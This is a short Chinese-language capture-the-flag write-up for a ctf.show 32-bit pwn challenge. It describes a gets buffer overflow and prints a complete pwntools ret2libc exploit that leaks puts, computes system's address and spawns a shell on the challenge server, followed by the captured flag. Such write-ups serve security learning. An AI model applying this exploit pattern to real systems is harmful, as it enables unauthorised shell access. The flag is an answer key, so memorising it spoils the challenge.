32 位小端序,开启 NX 保护
先看主函数
这么好,会直接输出一些函数的真实地址
gets 存在溢出
/bin/sh 也给了我们
偏移 160
现在我们就只差 system 函数的地址了
这里没有,那么还是继续打 ret2libc
32 位是栈传参,用不到寄存器
直接写 exp:
# @author:My6n
# @time:20250608
from pwn import *
from LibcSearcher import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28264)
elf = ELF('./pwn')
offset = 160
puts_plt_addr = elf.plt['puts']
bin_sh_addr = 0x804b028
io.recvuntil('puts: ')
puts_addr = int(io.recv(10),16)
print(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
print(hex(libc_base))
print((system_addr))
payload = flat(cyclic(offset),system_addr,1,bin_sh_addr)
io.sendlineafter(b"Start your show time: ",payload)
io.interactive()
这里稍微注意下这个 libc 的选择
我一开始 libc 看错了一直不通
后面选的是 libc6-i386_2.27-3ubuntu1_amd64 就没问题了
拿到 flag:ctfshow{a75a4fff-f60c-4df2-9c50-5ec5e15a2f5c}